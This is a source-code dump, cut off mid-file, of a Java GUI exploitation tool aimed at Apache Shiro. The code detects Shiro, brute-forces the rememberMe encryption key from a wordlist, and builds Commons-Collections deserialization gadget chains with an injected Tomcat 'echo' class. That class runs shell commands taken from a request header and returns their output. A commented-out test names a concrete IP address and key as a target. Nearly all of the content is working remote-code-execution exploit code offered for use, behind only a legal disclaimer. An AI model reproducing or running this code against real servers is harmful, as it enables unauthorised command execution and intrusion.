├── .idea ├── .gitignore ├── compiler.xml ├── encodings.xml ├── jarRepositories.xml ├── misc.xml ├── uiDesigner.xml └── vcs.xml ├── Shiro1.0.iml ├── pom.xml ├── readme.md └── src └── main ├── java ├── Main.java ├── core │ ├── GadgetsDetect.java │ └── ShiroKeyDetect.java ├── entity │ └── ControllersFactory.java ├── gadgets │ ├── CommonsCollectionsK1.java │ ├── CommonsCollectionsK2.java │ └── util │ │ ├── Gadgets.java │ │ ├── Reflections.java │ │ └── Serializer.java ├── ui │ └── MainController.java └── utils │ ├── HttpUtils.java │ ├── MyCert.java │ ├── createAESCBCCipher.java │ └── createAESGCMCipher.java └── resources ├── Main.fxml ├── application.css └── shirokey.txt /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 数据源本地存储已忽略文件 5 | /../../../../:\Java\Shiro1.0\.idea/dataSources/ 6 | /dataSources.local.xml 7 | # 基于编辑器的 HTTP 客户端请求 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 20 | 21 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Shiro1.0.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.detect 8 | ShiroKeyDetect 9 | 1.0-SNAPSHOT 10 | 11 | 12 | org.springframework.boot 13 | spring-boot-starter-parent 14 | 2.4.2 15 | 16 | 17 | 18 | 19 | 20 | 1.8 21 | 22 | 23 | 24 | 25 | org.apache.shiro 26 | shiro-core 27 | 1.2.4 28 | 29 | 30 | commons-collections 31 | commons-collections 32 | 3.2.1 33 | 34 | 35 | org.javassist 36 | javassist 37 | 3.27.0-GA 38 | 39 | 40 | com.nqzero 41 | permit-reflect 42 | 0.3 43 | 44 | 45 | org.apache.commons 46 | commons-collections4 47 | 4.0 48 | 49 | 50 | commons-logging 51 | commons-logging-api 52 | 1.1 53 | 54 | 55 | 56 | 57 | 58 | 59 | org.springframework.boot 60 | spring-boot-maven-plugin 61 | 2.4.2 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Shiro-exploit 2 | 小白适用的 Shiro 可视化利用工具,界面简洁,傻瓜式漏洞检测工具 3 | 4 | ![image-20211108104526739](https://i.loli.net/2021/11/08/R6WakGXcFZKwgE5.png) 5 | 6 | 7 | 8 | ## 免责声明 9 | 该项目仅供合法的渗透测试以及爱好者参考学习,请各位遵守《中华人民共和国网络安全法》以及相应地方的法律,禁止使用该项目进行违法操作,否则自行承担相关责任 10 | 11 | ### 目前已实现: 12 | 1. 支持密钥爆破以及 CBC/GCM 两种加密模式 13 | 2. 支持检测利用链CommonsCollectionsK1,CommonsCollectionsK2 14 | 3. 支持命令执行回显(Tomcat) 15 | 16 | 17 | 18 | 利用效果: 19 | 20 | ![image-20211108104526739](https://i.loli.net/2021/11/08/R6WakGXcFZKwgE5.png) 21 | 22 | 23 | 24 | ### 参考 25 | 感谢前辈们的优秀文章和优秀项目 26 | 27 | 冰蝎: https://github.com/KpLi0rn/ShiroExploit 28 | 29 | shiro_attack: https://github.com/j1anFen/shiro_attack 30 | 31 | 一种另类的检测思路:http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/ 32 | 33 | 长亭师傅的yso回显:https://github.com/zema1/ysoserial 34 | -------------------------------------------------------------------------------- /src/main/java/Main.java: -------------------------------------------------------------------------------- 1 | import javafx.application.Application; 2 | import javafx.fxml.FXMLLoader; 3 | import javafx.scene.Parent; 4 | import javafx.scene.Scene; 5 | import javafx.stage.Stage; 6 | 7 | /** 8 | * Hello world! 9 | */ 10 | public class Main extends Application { 11 | 12 | public static void main(String[] args) { 13 | launch(args); 14 | } 15 | 16 | public void start(Stage primaryStage) throws Exception { 17 | Parent root = FXMLLoader.load(getClass().getClassLoader().getResource("Main.fxml")); 18 | Scene scene = new Scene(root); 19 | scene.getStylesheets().add(getClass().getClassLoader().getResource("application.css").toExternalForm()); 20 | 21 | primaryStage.setTitle("Shiro 利用工具 by Yang_99"); 22 | primaryStage.setScene(scene); 23 | primaryStage.show(); 24 | } 25 | } -------------------------------------------------------------------------------- /src/main/java/core/GadgetsDetect.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import entity.ControllersFactory; 4 | import gadgets.CommonsCollectionsK1; 5 | import gadgets.CommonsCollectionsK2; 6 | import gadgets.util.Gadgets; 7 | import ui.MainController; 8 | import utils.HttpUtils; 9 | import utils.createAESCBCCipher; 10 | import utils.createAESGCMCipher; 11 | 12 | public class GadgetsDetect { 13 | String gadget=""; 14 | final private MainController myController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName()); 15 | public String GadgetsBurp(String url, String Shirokey, String mode) throws Exception { 16 | this.commonsCollectionsK1(url,Shirokey,mode); 17 | this.commonsCollectionsK2(url,Shirokey,mode); 18 | return gadget; 19 | } 20 | 21 | public void GadgetsExp(String url,String Shirokey,String mode,String gadget,String cmd) throws Exception { 22 | String payload = ""; 23 | if(gadget == "commonsCollectionsK1"){ 24 | CommonsCollectionsK1 commonsCollectionsK1 = new CommonsCollectionsK1(); 25 | Object object = commonsCollectionsK1.getObject("calc"); 26 | if(mode=="CBC"){ 27 | payload = createAESCBCCipher.encrypt(Shirokey,object); 28 | }else { 29 | payload = createAESGCMCipher.encrypt(Shirokey,object); 30 | } 31 | String res = HttpUtils.sendGet(url,payload,cmd); 32 | this.myController.result.appendText("[*]利用链commonsCollectionsK1\n[*]执行"+cmd+"\n"); 33 | this.myController.result.appendText("[*]"+res+"\n"); 34 | }else if(gadget == "commonsCollectionsK2"){ 35 | CommonsCollectionsK1 commonsCollectionsK1 = new CommonsCollectionsK1(); 36 | Object object = commonsCollectionsK1.getObject("calc"); 37 | if(mode=="CBC"){ 38 | payload = createAESCBCCipher.encrypt(Shirokey,object); 39 | }else { 40 | payload = createAESGCMCipher.encrypt(Shirokey,object); 41 | } 42 | String res = HttpUtils.sendGet(url,payload,cmd); 43 | this.myController.result.appendText("[*]利用链commonsCollectionsK2\n[*]执行"+cmd+"\n"); 44 | this.myController.result.appendText("[*]"+res+"\n"); 45 | }else { 46 | this.myController.result.appendText("[*]未找到利用链\n"); 47 | } 48 | 49 | 50 | } 51 | public String commonsCollectionsK1(String url,String Shirokey,String mode) throws Exception { 52 | String payload = ""; 53 | CommonsCollectionsK1 commonsCollectionsK1 = new CommonsCollectionsK1(); 54 | CommonsCollectionsK2 commonsCollectionsK2 = new CommonsCollectionsK2(); 55 | Object object = commonsCollectionsK1.getObject("calc"); 56 | if(mode=="CBC"){ 57 | payload = createAESCBCCipher.encrypt(Shirokey,object); 58 | }else { 59 | payload = createAESGCMCipher.encrypt(Shirokey,object); 60 | } 61 | String res = HttpUtils.getHeader(url,payload); 62 | if(res.contains("23f20bfc119b58355179e1f33722f14c")){ 63 | if(gadget == ""){ 64 | gadget = "commonsCollectionsK1"; 65 | } 66 | } 67 | return gadget; 68 | } 69 | public String commonsCollectionsK2(String url,String Shirokey,String mode) throws Exception { 70 | String payload = ""; 71 | CommonsCollectionsK1 commonsCollectionsK1 = new CommonsCollectionsK1(); 72 | CommonsCollectionsK2 commonsCollectionsK2 = new CommonsCollectionsK2(); 73 | Object object = commonsCollectionsK1.getObject("calc"); 74 | if(mode=="CBC"){ 75 | payload = createAESCBCCipher.encrypt(Shirokey,object); 76 | }else { 77 | payload = createAESGCMCipher.encrypt(Shirokey,object); 78 | } 79 | String res = HttpUtils.getHeader(url,payload); 80 | if(res.contains("23f20bfc119b58355179e1f33722f14c")){ 81 | if(gadget == ""){ 82 | gadget = "commonsCollectionsK1"; 83 | } 84 | } 85 | return gadget; 86 | } 87 | // public static void main(String[] args) throws Exception { 88 | // String targetUrl="http://119.96.202.68:9080/login"; 89 | // String shirokey="fCq+/xW488hMTCD+cmJ3aQ=="; 90 | // String mode = "GCM"; 91 | // GadgetsDetect gadgetsDetect = new GadgetsDetect(); 92 | // String hah = gadgetsDetect.GadgetsBurp(targetUrl,shirokey,mode); 93 | // System.out.println(hah); 94 | // } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/core/ShiroKeyDetect.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import entity.ControllersFactory; 4 | import org.apache.shiro.subject.SimplePrincipalCollection; 5 | import ui.MainController; 6 | import utils.createAESGCMCipher; 7 | import utils.createAESCBCCipher; 8 | import utils.HttpUtils; 9 | 10 | import java.io.*; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class ShiroKeyDetect { 15 | final private MainController myController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName()); 16 | //检测是否为shiro框架 17 | public static boolean isShiro(String url){ 18 | boolean flag = false; 19 | String result = HttpUtils.getHeader(url,"1"); 20 | flag = result.contains("=deleteMe"); 21 | 22 | return flag; 23 | } 24 | //爆破shirokey 25 | public Map ShiroKey(String url) throws Exception { 26 | String shirokey = ""; 27 | String mode = ""; 28 | SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); 29 | InputStream fis = ShiroKeyDetect.class.getClassLoader().getResourceAsStream("shirokey.txt"); 30 | 31 | if (fis != null){ 32 | BufferedReader reader = new BufferedReader(new InputStreamReader(fis)); 33 | String key = null; 34 | //先爆破CBC加密方式 35 | while ((key = reader.readLine()) != null){ 36 | String cookieCBC = createAESCBCCipher.encrypt(key,simplePrincipalCollection); 37 | String cookieGCM = createAESGCMCipher.encrypt(key,simplePrincipalCollection); 38 | 39 | String resCBC = HttpUtils.getHeader(url,cookieCBC); 40 | String resGCM = HttpUtils.getHeader(url,cookieGCM); 41 | 42 | if (!resCBC.contains("=deleteMe")){ 43 | shirokey = key; 44 | mode = "CBC"; 45 | System.out.println("[*]CBC\n"); 46 | System.out.println("[*]"+key+"\n"); 47 | this.myController.result.appendText("[*]加密方式AES-CBC\n"); 48 | this.myController.result.appendText("[*]"+key+"\n"); 49 | break; 50 | }else if(!resGCM.contains("=deleteMe")){ 51 | shirokey = key; 52 | mode = "GCM"; 53 | System.out.println("[*]GCM"); 54 | System.out.println("[*]"+key); 55 | this.myController.result.appendText("[*]加密方式AES-GCM\n"); 56 | this.myController.result.appendText("[*]"+key+"\n"); 57 | break; 58 | }else { 59 | this.myController.result.appendText("[-]"+key+"\n"); 60 | } 61 | } 62 | } 63 | Map map = new HashMap(); 64 | map.put("shirokey",shirokey); 65 | map.put("mode",mode); 66 | return map; 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/entity/ControllersFactory.java: -------------------------------------------------------------------------------- 1 | package entity; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | public class ControllersFactory { 7 | public static Map controllers = new HashMap<>(); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/gadgets/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import gadgets.util.Gadgets; 4 | import gadgets.util.Reflections; 5 | import org.apache.commons.collections.functors.InvokerTransformer; 6 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 7 | import org.apache.commons.collections.map.LazyMap; 8 | import utils.HttpUtils; 9 | import utils.createAESCBCCipher; 10 | 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | 15 | public class CommonsCollectionsK1 { 16 | public Map getObject(final String command) throws Exception { 17 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 18 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 19 | 20 | HashMap innerMap = new HashMap(); 21 | Map m = LazyMap.decorate(innerMap, transformer); 22 | 23 | Map outerMap = new HashMap(); 24 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 25 | outerMap.put(tied, "t"); 26 | // clear the inner map data, this is important 27 | innerMap.clear(); 28 | 29 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 30 | return outerMap; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/gadgets/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package gadgets; 2 | 3 | import gadgets.util.Gadgets; 4 | import gadgets.util.Reflections; 5 | import org.apache.commons.collections4.functors.InvokerTransformer; 6 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 7 | import org.apache.commons.collections4.map.LazyMap; 8 | 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class CommonsCollectionsK2 { 13 | public Map getObject(final String command) throws Exception { 14 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 15 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 16 | 17 | HashMap innerMap = new HashMap(); 18 | Map m = LazyMap.lazyMap(innerMap, transformer); 19 | 20 | Map outerMap = new HashMap(); 21 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 22 | outerMap.put(tied, "t"); 23 | // clear the inner map data, this is important 24 | innerMap.clear(); 25 | 26 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 27 | return outerMap; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/gadgets/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | package gadgets.util; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 6 | import javassist.*; 7 | 8 | import java.lang.reflect.Field; 9 | 10 | public class Gadgets { 11 | public static Object createTemplatesTomcatEcho() throws Exception { 12 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { 13 | return createTemplatesImplEcho( 14 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 15 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 16 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 17 | } 18 | 19 | return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 20 | } 21 | 22 | public static T createTemplatesImplEcho(Class tplClass, Class abstTranslet, Class transFactory) 23 | throws Exception { 24 | final T templates = tplClass.newInstance(); 25 | 26 | // use template gadget class 27 | ClassPool pool = ClassPool.getDefault(); 28 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 29 | CtClass clazz; 30 | clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime()); 31 | if (clazz.getDeclaredConstructors().length != 0) { 32 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 33 | } 34 | clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" + 35 | " Object o;\n" + 36 | " Class clazz;\n" + 37 | " try {\n" + 38 | " clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + 39 | " o = clazz.newInstance();\n" + 40 | " clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" + 41 | " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + 42 | " } catch (ClassNotFoundException e) {\n" + 43 | " clazz = Class.forName(\"java.nio.ByteBuffer\");\n" + 44 | " o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" + 45 | " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + 46 | " } catch (NoSuchMethodException e) {\n" + 47 | " clazz = Class.forName(\"java.nio.ByteBuffer\");\n" + 48 | " o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" + 49 | " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + 50 | " }\n" + 51 | "}", clazz)); 52 | clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" + 53 | " java.lang.reflect.Field f = null;\n" + 54 | " Class clazz = o.getClass();\n" + 55 | " while (clazz != Object.class) {\n" + 56 | " try {\n" + 57 | " f = clazz.getDeclaredField(s);\n" + 58 | " break;\n" + 59 | " } catch (NoSuchFieldException e) {\n" + 60 | " clazz = clazz.getSuperclass();\n" + 61 | " }\n" + 62 | " }\n" + 63 | " if (f == null) {\n" + 64 | " throw new NoSuchFieldException(s);\n" + 65 | " }\n" + 66 | " f.setAccessible(true);\n" + 67 | " return f.get(o);\n" + 68 | "}\n", clazz)); 69 | clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" + 70 | " Object o;\n" + 71 | " Object resp;\n" + 72 | " String s;\n" + 73 | " boolean done = false;\n" + 74 | " Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" + 75 | " for (int i = 0; i < ts.length; i++) {\n" + 76 | " Thread t = ts[i];\n" + 77 | " if (t == null) {\n" + 78 | " continue;\n" + 79 | " }\n" + 80 | " s = t.getName();\n" + 81 | " if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" + 82 | " o = getFV(t, \"target\");\n" + 83 | " if (!(o instanceof Runnable)) {\n" + 84 | " continue;\n" + 85 | " }\n" + 86 | "\n" + 87 | " try {\n" + 88 | " o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" + 89 | " } catch (Exception e) {\n" + 90 | " continue;\n" + 91 | " }\n" + 92 | "\n" + 93 | " java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" + 94 | " for (int j = 0; j < ps.size(); j++) {\n" + 95 | " Object p = ps.get(j);\n" + 96 | " o = getFV(p, \"req\");\n" + 97 | " resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" + 98 | " s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" + 99 | " if (s != null && !s.isEmpty()) {\n" + 100 | " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + 101 | " resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" + 102 | " done = true;\n" + 103 | " }\n" + 104 | " s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" + 105 | " if (s != null && !s.isEmpty()) {\n" + 106 | " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + 107 | " String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" + 108 | " writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" + 109 | " done = true;\n" + 110 | " }\n" + 111 | " if ((s == null || s.isEmpty()) && done) {\n" + 112 | " writeBody(resp, System.getProperties().toString().getBytes());\n" + 113 | " }\n" + 114 | "\n" + 115 | " if (done) {\n" + 116 | " break;\n" + 117 | " }\n" + 118 | " }\n" + 119 | " if (done) {\n" + 120 | " break;\n" + 121 | " }\n" + 122 | " }\n" + 123 | " }\n" + 124 | "}", clazz)); 125 | 126 | CtClass superC = pool.get(abstTranslet.getName()); 127 | clazz.setSuperclass(superC); 128 | 129 | final byte[] classBytes = clazz.toBytecode(); 130 | 131 | // inject class bytes into instance 132 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ 133 | classBytes, 134 | // classBytes, ClassFiles.classAsBytes(Foo.class) 135 | }); 136 | 137 | // required to make TemplatesImpl happy 138 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 139 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 140 | return templates; 141 | } 142 | 143 | 144 | 145 | 146 | } 147 | -------------------------------------------------------------------------------- /src/main/java/gadgets/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package gadgets.util; 2 | 3 | import com.nqzero.permit.Permit; 4 | import sun.reflect.ReflectionFactory; 5 | 6 | import java.lang.reflect.AccessibleObject; 7 | import java.lang.reflect.Constructor; 8 | import java.lang.reflect.Field; 9 | import java.lang.reflect.InvocationTargetException; 10 | 11 | public class Reflections { 12 | 13 | public static void setAccessible(AccessibleObject member) { 14 | // quiet runtime warnings from JDK9+ 15 | Permit.setAccessible(member); 16 | } 17 | 18 | public static Field getField(final Class clazz, final String fieldName) { 19 | Field field = null; 20 | try { 21 | field = clazz.getDeclaredField(fieldName); 22 | setAccessible(field); 23 | } 24 | catch (NoSuchFieldException ex) { 25 | if (clazz.getSuperclass() != null) 26 | field = getField(clazz.getSuperclass(), fieldName); 27 | } 28 | return field; 29 | } 30 | 31 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | field.set(obj, value); 34 | } 35 | 36 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 37 | final Field field = getField(obj.getClass(), fieldName); 38 | return field.get(obj); 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 43 | setAccessible(ctor); 44 | return ctor; 45 | } 46 | 47 | public static Object newInstance(String className, Object ... args) throws Exception { 48 | return getFirstCtor(className).newInstance(args); 49 | } 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | @SuppressWarnings ( {"unchecked"} ) 57 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 59 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 60 | setAccessible(objCons); 61 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 62 | setAccessible(sc); 63 | return (T)sc.newInstance(consArgs); 64 | } 65 | 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/gadgets/util/Serializer.java: -------------------------------------------------------------------------------- 1 | package gadgets.util; 2 | 3 | import org.apache.shiro.subject.SimplePrincipalCollection; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.ObjectOutputStream; 8 | 9 | public class Serializer { 10 | public static byte[] serialize(final Object object) throws IOException { 11 | ByteArrayOutputStream barr = new ByteArrayOutputStream(); 12 | ObjectOutputStream obj = new ObjectOutputStream(barr); 13 | obj.writeObject(object); 14 | obj.close(); 15 | 16 | 17 | return barr.toByteArray(); 18 | 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/ui/MainController.java: -------------------------------------------------------------------------------- 1 | package ui; 2 | 3 | import core.GadgetsDetect; 4 | import core.ShiroKeyDetect; 5 | import entity.ControllersFactory; 6 | import javafx.fxml.FXML; 7 | 8 | import javafx.fxml.Initializable; 9 | import javafx.scene.control.*; 10 | import javafx.scene.text.Text; 11 | 12 | import java.net.URL; 13 | import java.util.HashMap; 14 | import java.util.Map; 15 | import java.util.ResourceBundle; 16 | 17 | public class MainController implements Initializable { 18 | 19 | @FXML 20 | private Button button; 21 | 22 | @FXML 23 | private TextField attackUrl; 24 | 25 | @FXML 26 | public TextArea result; 27 | 28 | @FXML 29 | public TextField cmd; 30 | 31 | @Override 32 | public void initialize(URL location, ResourceBundle resources) { 33 | ControllersFactory.controllers.put(MainController.class.getSimpleName(),this); 34 | } 35 | 36 | @FXML 37 | public void execResult() throws Exception { 38 | 39 | //先判断是否为shiro框架,然后爆破shirokey 40 | Thread thread = new Thread(()->{ 41 | String shirokey=""; 42 | String mode=""; 43 | String gadget = ""; 44 | ShiroKeyDetect shiroKeyDetect = new ShiroKeyDetect(); 45 | String targetUrl = attackUrl.getText(); 46 | String cmd1 = cmd.getText(); 47 | if(ShiroKeyDetect.isShiro(targetUrl)){ 48 | try { 49 | Map map = new HashMap(); 50 | map = shiroKeyDetect.ShiroKey(targetUrl); 51 | //用shirokey爆破gadgets链 52 | shirokey = map.get("shirokey"); 53 | mode = map.get("mode"); 54 | GadgetsDetect gadgetsDetect = new GadgetsDetect(); 55 | gadget = gadgetsDetect.GadgetsBurp(targetUrl,shirokey,mode); 56 | gadgetsDetect.GadgetsExp(targetUrl,shirokey,mode,gadget,cmd1); 57 | 58 | } catch (Exception e) { 59 | e.printStackTrace(); 60 | } 61 | 62 | }else { 63 | result.appendText("未检测到shiro框架"+"\n"); 64 | } 65 | 66 | 67 | }); 68 | thread.start(); 69 | } 70 | 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/utils/HttpUtils.java: -------------------------------------------------------------------------------- 1 | package utils; 2 | 3 | import javax.net.ssl.*; 4 | import java.io.BufferedReader; 5 | import java.io.InputStream; 6 | import java.io.InputStreamReader; 7 | import java.io.OutputStream; 8 | import java.net.HttpURLConnection; 9 | import java.net.Proxy; 10 | import java.net.URL; 11 | import java.net.URLConnection; 12 | import java.security.SecureRandom; 13 | import java.util.List; 14 | import java.util.Map; 15 | 16 | public class HttpUtils { 17 | public boolean HttpShiroDetect(){ 18 | return true; 19 | } 20 | public static HostnameVerifier allHostsValid = new HostnameVerifier() { 21 | public boolean verify(String hostname, SSLSession session) { 22 | return true; 23 | } 24 | }; 25 | // Java get 发包,返回值为body内容 26 | public static String sendGet(String url, String rememberMe,String cmd) { 27 | String result = ""; 28 | BufferedReader in = null; 29 | URLConnection httpUrlConn = null; 30 | HttpsURLConnection hsc = null; 31 | HttpURLConnection hc = null; 32 | InputStream inputStream = null; 33 | InputStreamReader isr = null; 34 | Object br = null; 35 | try { 36 | String urlNameString = url; 37 | URL realUrl = new URL(urlNameString); 38 | if (url.startsWith("https")) { 39 | SSLContext sslContext = SSLContext.getInstance("SSL"); 40 | TrustManager[] tm = new TrustManager[]{new MyCert()}; 41 | sslContext.init(null, tm, new SecureRandom()); 42 | SSLSocketFactory ssf = sslContext.getSocketFactory(); 43 | hsc = (HttpsURLConnection)realUrl.openConnection(); 44 | 45 | hsc.setSSLSocketFactory(ssf); 46 | hsc.setHostnameVerifier(allHostsValid); 47 | httpUrlConn = hsc; 48 | }else { 49 | hc = (HttpURLConnection)realUrl.openConnection(); 50 | hc.setRequestMethod("GET"); 51 | hc.setInstanceFollowRedirects(false); 52 | System.out.println(hc.getRequestProperties()); 53 | httpUrlConn = hc; 54 | } 55 | // 打开和URL之间的连接 56 | URLConnection connection = realUrl.openConnection(); 57 | // 设置通用的请求属性 58 | httpUrlConn.setRequestProperty("accept", "*/*"); 59 | httpUrlConn.setRequestProperty("connection", "Keep-Alive"); 60 | httpUrlConn.setRequestProperty("user-agent", 61 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); 62 | httpUrlConn.setRequestProperty("Cookie","rememberMe="+rememberMe); 63 | httpUrlConn.setRequestProperty("Testcmd",cmd); 64 | // 建立实际的连接 65 | httpUrlConn.connect(); 66 | // 获取所有响应头字段 67 | Map> map = httpUrlConn.getHeaderFields(); 68 | // 遍历所有的响应头字段 69 | for (String key : map.keySet()) { 70 | System.out.println(key + "--->" + map.get(key)); 71 | } 72 | // 定义 BufferedReader输入流来读取URL的响应 73 | in = new BufferedReader(new InputStreamReader( 74 | httpUrlConn.getInputStream())); 75 | String line; 76 | while ((line = in.readLine()) != null) { 77 | result += line; 78 | } 79 | // StringBuffer sb = new StringBuffer(); 80 | // int BUFFER_SIZE=1024; 81 | // 